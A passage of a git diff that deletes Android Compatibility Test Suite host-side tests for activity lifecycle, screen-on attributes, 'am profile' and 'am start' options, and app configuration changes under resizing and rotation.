-            mAmWmState.assertHomeActivityVisible(true /* visible */);
-        }
-
-        // Launch the launching activity to the foreground
-        launchActivity(LAUNCHING_ACTIVITY);
-
-        // Launch the alternate launching activity from launching activity with reorder to front.
-        getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
-                .setReorderToFront(true).execute();
-
-        // Return home
-        launchHomeActivity();
-        if (!noHomeScreen()) {
-            mAmWmState.assertHomeActivityVisible(true /* visible */);
-        }
-        // Launch the launching activity from the alternate launching activity with reorder to
-        // front.
-
-        // Bring launching activity back to the foreground
-        launchActivity(LAUNCHING_ACTIVITY);
-        mAmWmState.waitForValidState(mDevice, LAUNCHING_ACTIVITY);
-
-        // Ensure the alternate launching activity is still in focus.
-        mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
-                ALT_LAUNCHING_ACTIVITY);
-
-        pressBackButton();
-
-        mAmWmState.waitForValidState(mDevice, LAUNCHING_ACTIVITY);
-
-        // Ensure launching activity was brought forward.
-        mAmWmState.assertFocusedActivity("Launching Activity must be focused",
-                LAUNCHING_ACTIVITY);
-    }
-
-    /**
-     * Asserts that a nohistory activity is stopped and removed immediately after a resumed activity
-     * above becomes visible and does not idle.
-     */
-    public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
-        if (noHomeScreen()) {
-            return;
-        }
-
-        // Start with home on top
-        launchHomeActivity();
-
-        // Launch no history activity
-        launchActivity(NOHISTORY_ACTIVITY);
-
-        // Launch an activity with a swipe refresh layout configured to prevent idle.
-        launchActivity(SWIPE_REFRESH_ACTIVITY);
-
-        pressBackButton();
-        mAmWmState.waitForHomeActivityVisible(mDevice);
-        mAmWmState.assertHomeActivityVisible(true);
-    }
-
-    public void testTurnScreenOnAttrNoLockScreen() throws Exception {
-        wakeUpAndRemoveLock();
-        sleepDevice();
-        final String logSeparator = clearLogcat();
-        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
-        mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, true);
-        assertTrue(isDisplayOn());
-        assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
-    }
-
-    public void testTurnScreenOnAttrWithLockScreen() throws Exception {
-        if (!isHandheld()) {
-            // This test requires the ability to have a lock screen.
-            return;
-        }
-
-        setLockCredential();
-        sleepDevice();
-        final String logSeparator = clearLogcat();
-        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
-        assertFalse(isDisplayOn());
-        assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
-    }
-
-    public void testTurnScreenOnShowOnLockAttr() throws Exception {
-        sleepDevice();
-        mAmWmState.waitForAllStoppedActivities(mDevice);
-        final String logSeparator = clearLogcat();
-        launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
-        mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, true);
-        assertTrue(isDisplayOn());
-        assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, logSeparator);
-    }
-
-    public void testTurnScreenOnAttrRemove() throws Exception {
-        sleepDevice();
-        mAmWmState.waitForAllStoppedActivities(mDevice);
-        String logSeparator = clearLogcat();
-        launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {
-                TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME});
-        assertTrue(isDisplayOn());
-        assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
-
-        sleepDevice();
-        mAmWmState.waitForAllStoppedActivities(mDevice);
-        logSeparator = clearLogcat();
-        launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
-        assertFalse(isDisplayOn());
-        assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
-    }
-
-    public void testTurnScreenOnSingleTask() throws Exception {
-        sleepDevice();
-        String logSeparator = clearLogcat();
-        launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
-        mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
-        assertTrue(isDisplayOn());
-        assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
-
-        sleepDevice();
-        logSeparator = clearLogcat();
-        launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
-        mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
-        assertTrue(isDisplayOn());
-        assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
-    }
-
-    public void testTurnScreenOnActivity_withRelayout() throws Exception {
-        sleepDevice();
-        launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
-        mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
-
-        String logSeparator = clearLogcat();
-        sleepDevice();
-        mAmWmState.waitFor("Waiting for stopped state", () ->
-                lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
-
-        // Ensure there was an actual stop if the waitFor timed out.
-        assertTrue(lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
-        assertFalse(isDisplayOn());
-    }
-
-    private boolean lifecycleStopOccurred(String activityName, String logSeparator) {
-        try {
-            ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
-                    logSeparator);
-            return lifecycleCounts.mStopCount > 0;
-        } catch (DeviceNotAvailableException e) {
-            logE(e.toString());
-            return false;
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
deleted file mode 100644
index f462c60..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.google.common.io.Files;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.util.FileUtil;
-
-import java.io.File;
-import java.lang.StringBuilder;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmProfileTests
- *
- * Please talk to Android Studio team first if you want to modify or delete these tests.
- */
-public class ActivityManagerAmProfileTests extends ActivityManagerTestBase {
-
-    private static final String TEST_PACKAGE_NAME = "android.server.cts.debuggable";
-    private static final String TEST_ACTIVITY_NAME = "DebuggableAppActivity";
-    private static final String OUTPUT_FILE_PATH = "/data/local/tmp/profile.trace";
-    private static final String FIRST_WORD_NO_STREAMING = "*version\n";
-    private static final String FIRST_WORD_STREAMING = "SLOW";  // Magic word set by runtime.
-
-    private ITestDevice mDevice;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mDevice = getDevice();
-        setComponentName(TEST_PACKAGE_NAME);
-    }
-
-    /**
-     * Test am profile functionality with the following 3 configurable options:
-     *    starting the activity before start profiling? yes;
-     *    sampling-based profiling? no;
-     *    using streaming output mode? no.
-     */
-    public void testAmProfileStartNoSamplingNoStreaming() throws Exception {
-        // am profile start ... , and the same to the following 3 test methods.
-        testProfile(true, false, false);
-    }
-
-    /**
-     * The following tests are similar to testAmProfileStartNoSamplingNoStreaming(),
-     * only different in the three configuration options.
-     */
-    public void testAmProfileStartNoSamplingStreaming() throws Exception {
-        testProfile(true, false, true);
-    }
-    public void testAmProfileStartSamplingNoStreaming() throws Exception {
-        testProfile(true, true, false);
-    }
-    public void testAmProfileStartSamplingStreaming() throws Exception {
-        testProfile(true, true, true);
-    }
-    public void testAmStartStartProfilerNoSamplingNoStreaming() throws Exception {
-        // am start --start-profiler ..., and the same to the following 3 test methods.
-        testProfile(false, false, false);
-    }
-    public void testAmStartStartProfilerNoSamplingStreaming() throws Exception {
-        testProfile(false, false, true);
-    }
-    public void testAmStartStartProfilerSamplingNoStreaming() throws Exception {
-        testProfile(false, true, false);
-    }
-    public void testAmStartStartProfilerSamplingStreaming() throws Exception {
-        testProfile(false, true, true);
-    }
-
-    private void testProfile(boolean startActivityFirst,
-                             boolean sampling, boolean streaming) throws Exception {
-        if (startActivityFirst) {
-            launchActivity(TEST_ACTIVITY_NAME);
-        }
-
-        String cmd = getStartCmd(TEST_ACTIVITY_NAME, startActivityFirst, sampling, streaming);
-        executeShellCommand(cmd);
-        // Go to home screen and then warm start the activity to generate some interesting trace.
-        pressHomeButton();
-        launchActivity(TEST_ACTIVITY_NAME);
-
-        cmd = "am profile stop " + componentName;
-        executeShellCommand(cmd);
-        // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
-        // file is complete.
-        try {
-            Thread.sleep(100);
-        } catch (InterruptedException e) {
-            //ignored
-        }
-        verifyOutputFileFormat(streaming);
-    }
-
-    private String getStartCmd(String activityName, boolean activityAlreadyStarted,
-                                        boolean sampling, boolean streaming) {
-        StringBuilder builder = new StringBuilder("am");
-        if (activityAlreadyStarted) {
-            builder.append(" profile start");
-        } else {
-            builder.append(String.format(" start -n %s/.%s -W -S --start-profiler %s",
-                                         componentName, activityName, OUTPUT_FILE_PATH));
-        }
-        if (sampling) {
-            builder.append(" --sampling 1000");
-        }
-        if (streaming) {
-            builder.append(" --streaming");
-        }
-        if (activityAlreadyStarted) {
-            builder.append(String.format(" %s %s", componentName, OUTPUT_FILE_PATH));
-        } else {
-
-        }
-        return builder.toString();
-    }
-
-    private void verifyOutputFileFormat(boolean streaming) throws Exception {
-        String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
-        byte[] data = readFileOnClient(OUTPUT_FILE_PATH);
-        assertTrue("data size=" + data.length, data.length >= expectedFirstWord.length());
-        String actualFirstWord = new String(data, 0, expectedFirstWord.length());
-        assertTrue("Unexpected first word: '" + actualFirstWord + "'",
-                   actualFirstWord.equals(expectedFirstWord));
-        // Clean up.
-        executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
-    }
-
-    private byte[] readFileOnClient(String clientPath) throws Exception {
-        assertTrue("File not found on client: " + clientPath,
-                mDevice.doesFileExist(clientPath));
-        File copyOnHost = File.createTempFile("host", "copy");
-        try {
-            executeAdbCommand("pull", clientPath, copyOnHost.getPath());
-            return Files.toByteArray(copyOnHost);
-        } finally {
-            FileUtil.deleteFile(copyOnHost);
-        }
-    }
-
-    private String[] executeAdbCommand(String... command) throws DeviceNotAvailableException {
-        String output = mDevice.executeAdbCommand(command);
-        // "".split() returns { "" }, but we want an empty array
-        String[] lines = output.equals("") ? new String[0] : output.split("\n");
-        return lines;
-    }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
deleted file mode 100644
index f6df4a8..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
+++ /dev/null
@@ -1,185 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmStartOptionsTests
- */
-public class ActivityManagerAmStartOptionsTests extends ActivityManagerTestBase {
-
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String ENTRYPOINT_ACTIVITY_NAME = "EntryPointAliasActivity";
-    private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
-
-    public void testDashD() throws Exception {
-        final String activityComponentName =
-                ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
-
-        final String[] waitForActivityRecords = new String[] {activityComponentName};
-
-        // Run at least 2 rounds to verify that -D works with an existing process.
-        // -D could fail in this case if the force stop of process is broken.
-        int prevProcId = -1;
-        for (int i = 0; i < 2; i++) {
-            executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME) + " -D");
-
-            mAmWmState.waitForDebuggerWindowVisible(mDevice, waitForActivityRecords);
-            int procId = mAmWmState.getAmState().getActivityProcId(activityComponentName);
-
-            assertTrue("Invalid ProcId.", procId >= 0);
-            if (i > 0) {
-                assertTrue("Run " + i + " didn't start new proc.", prevProcId != procId);
-            }
-            prevProcId = procId;
-        }
-    }
-
-    public void testDashW_Direct() throws Exception {
-        testDashW(SINGLE_TASK_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
-    }
-
-    public void testDashW_Indirect() throws Exception {
-        testDashW(ENTRYPOINT_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
-    }
-
-    private void testDashW(final String entryActivity, final String actualActivity)
-            throws Exception {
-        // Test cold start
-        startActivityAndVerifyResult(entryActivity, actualActivity, true);
-
-        // Test warm start
-        pressHomeButton();
-        startActivityAndVerifyResult(entryActivity, actualActivity, false);
-
-        // Test "hot" start (app already in front)
-        startActivityAndVerifyResult(entryActivity, actualActivity, false);
-    }
-
-    private void startActivityAndVerifyResult(final String entryActivity,
-            final String actualActivity, boolean shouldStart) throws Exception {
-        // See TODO below
-        // final String logSeparator = clearLogcat();
-
-        // Pass in different data only when cold starting. This is to make the intent
-        // different in subsequent warm/hot launches, so that the entrypoint alias
-        // activity is always started, but the actual activity is not started again
-        // because of the NEW_TASK and singleTask flags.
-        final String result = executeShellCommand(getAmStartCmd(entryActivity) + " -W"
-                + (shouldStart ? " -d about:blank" : ""));
-
-        // Verify shell command return value
-        verifyShellOutput(result, actualActivity, shouldStart);
-
-        // TODO: Disable logcat check for now.
-        // Logcat of WM or AM tag could be lost (eg. chatty if earlier events generated
-        // too many lines), and make the test look flaky. We need to either use event
-        // log or swith to other mechanisms. Only verify shell output for now, it should
-        // still catch most failures.
-
-        // Verify adb logcat log
-        //verifyLogcat(actualActivity, shouldStart, logSeparator);
-    }
-
-    private static final Pattern sNotStartedWarningPattern = Pattern.compile(
-            "Warning: Activity not started(.*)");
-    private static final Pattern sStatusPattern = Pattern.compile(
-            "Status: (.*)");
-    private static final Pattern sActivityPattern = Pattern.compile(
-            "Activity: (.*)");
-    private static final String sStatusOk = "ok";
-
-    private void verifyShellOutput(
-            final String result, final String activity, boolean shouldStart) {
-        boolean warningFound = false;
-        String status = null;
-        String reportedActivity = null;
-        String componentActivityName = getActivityComponentName(activity);
-
-        final String[] lines = result.split("\\n");
-        // Going from the end of logs to beginning in case if some other activity is started first.
-        for (int i = lines.length - 1; i >= 0; i--) {
-            final String line = lines[i].trim();
-            Matcher matcher = sNotStartedWarningPattern.matcher(line);
-            if (matcher.matches()) {
-                warningFound = true;
-                continue;
-            }
-            matcher = sStatusPattern.matcher(line);
-            if (matcher.matches()) {
-                status = matcher.group(1);
-                continue;
-            }
-            matcher = sActivityPattern.matcher(line);
-            if (matcher.matches()) {
-                reportedActivity = matcher.group(1);
-                continue;
-            }
-        }
-
-        assertTrue("Status " + status + " is not ok", sStatusOk.equals(status));
-        assertTrue("Reported activity is " + reportedActivity + " not " + componentActivityName,
-                componentActivityName.equals(reportedActivity));
-
-        if (shouldStart && warningFound) {
-            fail("Should start new activity but brought something to front.");
-        } else if (!shouldStart && !warningFound){
-            fail("Should bring existing activity to front but started new activity.");
-        }
-    }
-
-    private static final Pattern sDisplayTimePattern =
-            Pattern.compile("(.+): Displayed (.*): (\\+{0,1})([0-9]+)ms(.*)");
-
-    void verifyLogcat(String actualActivityName, boolean shouldStart, String logSeparator)
-            throws DeviceNotAvailableException {
-        int displayCount = 0;
-        String activityName = null;
-
-        for (String line : getDeviceLogsForComponent("ActivityManager", logSeparator)) {
-            line = line.trim();
-
-            Matcher matcher = sDisplayTimePattern.matcher(line);
-            if (matcher.matches()) {
-                activityName = matcher.group(2);
-                // Ignore activitiy displays from other packages, we don't
-                // want some random activity starts to ruin our test.
-                if (!activityName.startsWith("android.server.cts")) {
-                    continue;
-                }
-                if (!shouldStart) {
-                    fail("Shouldn't display anything but displayed " + activityName);
-                }
-                displayCount++;
-            }
-        }
-        final String expectedActivityName = getActivityComponentName(actualActivityName);
-        if (shouldStart) {
-            if (displayCount != 1) {
-                fail("Should display exactly one activity but displayed " + displayCount);
-            } else if (!expectedActivityName.equals(activityName)) {
-                fail("Should display " + expectedActivityName +
-                        " but displayed " + activityName);
-            }
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
deleted file mode 100644
index e2aeec4..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ /dev/null
@@ -1,591 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-package android.server.cts;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-
-import android.platform.test.annotations.Presubmit;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-import java.util.List;
-
-import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAppConfigurationTests
- */
-public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBase {
-    private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String PORTRAIT_ACTIVITY_NAME = "PortraitOrientationActivity";
-    private static final String LANDSCAPE_ACTIVITY_NAME = "LandscapeOrientationActivity";
-    private static final String NIGHT_MODE_ACTIVITY = "NightModeActivity";
-    private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
-
-    private static final String TRANSLUCENT_ACTIVITY = "TranslucentLandscapeActivity";
-    private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
-
-    private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
-
-    private static final int SMALL_WIDTH_DP = 426;
-    private static final int SMALL_HEIGHT_DP = 320;
-
-    /**
-     * Tests that the WindowManager#getDefaultDisplay() and the Configuration of the Activity
-     * has an updated size when the Activity is resized from fullscreen to docked state.
-     *
-     * The Activity handles configuration changes, so it will not be restarted between resizes.
-     * On Configuration changes, the Activity logs the Display size and Configuration width
-     * and heights. The values reported in fullscreen should be larger than those reported in
-     * docked state.
-     */
-    public void testConfigurationUpdatesWhenResizedFromFullscreen() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        String logSeparator = clearLogcat();
-        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
-                logSeparator);
-
-        logSeparator = clearLogcat();
-        moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
-        final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
-                logSeparator);
-
-        assertSizesAreSane(fullscreenSizes, dockedSizes);
-    }
-
-    /**
-     * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
-     * from docked state to fullscreen (reverse).
-     */
-    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
-    public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        String logSeparator = clearLogcat();
-        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
-        final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
-                logSeparator);
-
-        logSeparator = clearLogcat();
-        moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
-                logSeparator);
-
-        assertSizesAreSane(fullscreenSizes, dockedSizes);
-    }
-
-    /**
-     * Tests whether the Display sizes change when rotating the device.
-     */
-    public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
-        if (!supportsRotation()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
-            return;
-        }
-        setDeviceRotation(0);
-        final String logSeparator = clearLogcat();
-        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
-                logSeparator);
-
-        rotateAndCheckSizes(initialSizes);
-    }
-
-    /**
-     * Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
-     * is in the docked stack.
-     */
-    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
-    public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        setDeviceRotation(0);
-        final String logSeparator = clearLogcat();
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        // Launch our own activity to side in case Recents (or other activity to side) doesn't
-        // support rotation.
-        getLaunchActivityBuilder().setToSide(true).setTargetActivityName(TEST_ACTIVITY_NAME)
-                .execute();
-        // Launch target activity in docked stack.
-        getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
-        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
-                logSeparator);
-
-        rotateAndCheckSizes(initialSizes);
-    }
-
-    /**
-     * Same as {@link #testConfigurationUpdatesWhenRotatingWhileDocked()} but when the Activity
-     * is launched to side from docked stack.
-     */
-    public void testConfigurationUpdatesWhenRotatingToSideFromDocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        setDeviceRotation(0);
-
-        final String logSeparator = clearLogcat();
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-
-        getLaunchActivityBuilder().setToSide(true).setTargetActivityName(RESIZEABLE_ACTIVITY_NAME)
-                .execute();
-        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
-                logSeparator);
-
-        rotateAndCheckSizes(initialSizes);
-    }
-
-    private void rotateAndCheckSizes(ReportedSizes prevSizes) throws Exception {
-        for (int rotation = 3; rotation >= 0; --rotation) {
-            final String logSeparator = clearLogcat();
-            final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
-                    RESIZEABLE_ACTIVITY_NAME).mStackId;
-            final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
-            setDeviceRotation(rotation);
-            final int newDeviceRotation = getDeviceRotation(displayId);
-            if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
-                CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
-                        + "Continuing the test despite of that, but it is likely to fail.");
-            } else if (rotation != newDeviceRotation) {
-                CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support locked user "
-                        + "rotation mode. Not continuing the rotation checks.");
-                return;
-            }
-
-            final ReportedSizes rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
-                    logSeparator);
-            assertSizesRotate(prevSizes, rotatedSizes);
-            prevSizes = rotatedSizes;
-        }
-    }
-
-    /**
-     * Tests when activity moved from fullscreen stack to docked and back. Activity will be
-     * relaunched twice and it should have same config as initial one.
-     */
-    public void testSameConfigurationFullSplitFullRelaunch() throws Exception {
-        moveActivityFullSplitFull(TEST_ACTIVITY_NAME);
-    }
-
-    /**
-     * Same as {@link #testSameConfigurationFullSplitFullRelaunch} but without relaunch.
-     */
-    @Presubmit
-    public void testSameConfigurationFullSplitFullNoRelaunch() throws Exception {
-        moveActivityFullSplitFull(RESIZEABLE_ACTIVITY_NAME);
-    }
-
-    /**
-     * Launches activity in fullscreen stack, moves to docked stack and back to fullscreen stack.
-     * Last operation is done in a way which simulates split-screen divider movement maximizing
-     * docked stack size and then moving task to fullscreen stack - the same way it is done when
-     * user long-presses overview/recents button to exit split-screen.
-     * Asserts that initial and final reported sizes in fullscreen stack are the same.
-     */
-    private void moveActivityFullSplitFull(String activityName) throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        // Launch to fullscreen stack and record size.
-        String logSeparator = clearLogcat();
-        launchActivityInStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes initialFullscreenSizes = getActivityDisplaySize(activityName,
-                logSeparator);
-        final Rectangle displayRect = getDisplayRect(activityName);
-
-        // Move to docked stack.
-        logSeparator = clearLogcat();
-        moveActivityToStack(activityName, DOCKED_STACK_ID);
-        final ReportedSizes dockedSizes = getActivityDisplaySize(activityName, logSeparator);
-        assertSizesAreSane(initialFullscreenSizes, dockedSizes);
-        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
-        // will come up.
-        launchActivityInStack(activityName, DOCKED_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] { activityName },
-                false /* compareTaskAndStackBounds */);
-
-        // Resize docked stack to fullscreen size. This will trigger activity relaunch with
-        // non-empty override configuration corresponding to fullscreen size.
-        logSeparator = clearLogcat();
-        runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
-                + displayRect.width + " " + displayRect.height);
-        // Move activity back to fullscreen stack.
-        moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes finalFullscreenSizes = getActivityDisplaySize(activityName,
-                logSeparator);
-
-        // After activity configuration was changed twice it must report same size as original one.
-        assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
-    }
-
-    /**
-     * Tests when activity moved from docked stack to fullscreen and back. Activity will be
-     * relaunched twice and it should have same config as initial one.
-     */
-    public void testSameConfigurationSplitFullSplitRelaunch() throws Exception {
-        moveActivitySplitFullSplit(TEST_ACTIVITY_NAME);
-    }
-
-    /**
-     * Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
-     */
-    public void testSameConfigurationSplitFullSplitNoRelaunch() throws Exception {
-        moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY_NAME);
-    }
-
-    /**
